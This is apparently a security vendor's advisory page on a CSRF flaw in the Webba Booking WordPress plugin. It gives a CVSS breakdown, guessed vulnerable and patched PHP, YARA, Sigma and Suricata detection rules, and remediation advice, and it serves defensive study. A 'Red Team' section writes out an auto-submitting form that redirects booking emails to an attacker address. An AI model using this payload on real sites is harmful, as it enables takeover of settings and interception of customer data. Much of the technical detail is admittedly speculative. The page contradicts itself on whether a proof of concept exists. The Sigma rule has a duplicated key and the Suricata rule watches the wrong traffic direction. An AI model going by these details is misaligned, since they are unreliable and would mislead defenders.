CVE-2025-54036
Executive Summary
CVE-2025-54036 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Webba Booking plugin (webba-booking-lite) for WordPress, affecting versions through 5.1.20. This vulnerability allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized changes to booking settings, appointments, or configurations. The vulnerability is classified as a WordPress ecosystem issue, as the plugin operates within the WordPress environment.
The CVSS score of 4.3 (Medium) reflects the low impact on confidentiality and integrity, but the attack vector is network-based with low complexity, requiring only user interaction. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed to initiate the attack.
- User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: None (C:N) – No data disclosure.
- Integrity Impact: Low (I:L) – Unauthorized modification of data is possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for social engineering campaigns make this a concern for WordPress site administrators.
Deep Dive & Mechanics
The vulnerability resides in the Webba Booking plugin’s administrative interface. CSRF occurs when the plugin fails to validate the origin of requests made to sensitive endpoints, such as those handling settings updates, appointment modifications, or user role changes. An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress site.
The attack flow:
- The attacker identifies a state-changing endpoint (e.g.,
wp-admin/admin.php?page=webba-booking&action=update_settings). - The attacker crafts a request with malicious parameters (e.g., changing the booking form’s email recipient to an attacker-controlled address).
- The attacker hosts the malicious page or sends a phishing email containing an image tag or auto-submitting form.
- The victim (authenticated admin) visits the page, and the browser automatically sends the forged request with the victim’s session cookies.
- The plugin processes the request without verifying a CSRF token, leading to unauthorized changes.
The vulnerability is classified under CWE-352: Cross-Site Request Forgery. The plugin likely lacks nonce verification or origin checks in its admin AJAX handlers or form submissions.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s admin-facing functions. A typical vulnerable pattern in WordPress plugins is:
Vulnerable Code (webba-booking-lite/admin/class-webba-booking-admin.php):
function save_settings() {
if ( isset( $_POST['webba_booking_email'] ) ) {
update_option( 'webba_booking_email', sanitize_text_field( $_POST['webba_booking_email'] ) );
}
// No nonce check or referer validation
}
Patched Code (hypothetical):
function save_settings() {
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'webba_booking_save_settings' ) ) {
wp_die( 'CSRF validation failed.' );
}
if ( isset( $_POST['webba_booking_email'] ) ) {
update_option( 'webba_booking_email', sanitize_text_field( $_POST['webba_booking_email'] ) );
}
}
The patch would add a WordPress nonce check (wp_verify_nonce()) to all state-changing actions.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Webba Booking plugin version <= 5.1.20.
- An authenticated administrator session (victim).
- A way to deliver the malicious payload (e.g., email, social media, or compromised site).
Exploitation Steps:
- Identify a vulnerable endpoint. For example, the plugin’s settings page might accept POST requests to
wp-admin/admin-post.php?action=webba_update_settings. - Craft a malicious HTML page that auto-submits a form:
<html> <body> <form action="http://target-site.com/wp-admin/admin-post.php?action=webba_update_settings" method="POST"> <input type="hidden" name="webba_booking_email" value="attacker@evil.com"> <input type="hidden" name="webba_booking_notification" value="disabled"> <input type="submit" value="Click me"> </form> <script>document.forms[0].submit();</script> </body> </html> - Host the page on an attacker-controlled server or embed it in an email.
- Send the link to the victim administrator.
- Once the victim visits the page, the form auto-submits, changing the booking email to the attacker’s address.
Expected Outcome: The attacker gains the ability to receive booking notifications, potentially intercepting sensitive customer data.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual POST requests to
admin-post.phporadmin-ajax.phpwith parameters related to Webba Booking. - Look for requests lacking a
_wpnonceparameter or with an invalid nonce. - Analyze server logs for referer headers that do not match the site’s domain.
Defense:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwithout a valid nonce. - Enforce SameSite cookies (set to
LaxorStrict) to prevent cross-site requests. - Educate administrators about phishing attacks and the importance of logging out after sessions.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-post.php?action=webba_*with no_wpnonceparameter. - Referer headers pointing to external domains.
- POST requests to
- File IOCs:
- Modified options in the
wp_optionstable (e.g.,webba_booking_emailchanged to an unknown address). - Suspicious entries in
wp_postmetarelated to booking data.
- Modified options in the
- Behavioral IOCs:
- Unexpected changes to booking settings or appointment configurations.
- Administrator accounts performing actions without corresponding UI interaction.
Detection Engineering
YARA Rule
rule CVE_2025_54036_Webba_CSRF {
meta:
description = "Detects CSRF exploitation attempts against Webba Booking plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54036"
strings:
$action = "action=webba_" nocase
$admin_post = "admin-post.php" nocase
$admin_ajax = "admin-ajax.php" nocase
condition:
any of ($action) and any of ($admin_post, $admin_ajax)
}
Sigma Rule
title: CSRF Exploitation Against Webba Booking Plugin
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects POST requests to WordPress admin endpoints with Webba Booking parameters lacking nonce
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-54036
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "admin-post.php"
- "admin-ajax.php"
cs-uri-query|contains: "action=webba_"
filter:
cs-uri-query|contains: "_wpnonce"
condition: selection and not filter
falsepositives:
- Legitimate plugin updates with nonce
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54036 Webba Booking CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=webba_"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations until a patch is released.
- Monitor plugin updates from the WordPress plugin repository for a patched version.
- Implement a WAF rule to block requests to
admin-post.phpandadmin-ajax.phpthat lack a_wpnonceparameter.
Long-Term Fixes:
- The vendor must add WordPress nonce verification to all state-changing actions.
- Use the
check_admin_referer()function in all admin-facing forms and AJAX handlers. - Enforce CSRF tokens for all POST requests.
Workarounds:
- Restrict access to the WordPress admin panel via IP whitelisting or VPN.
- Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.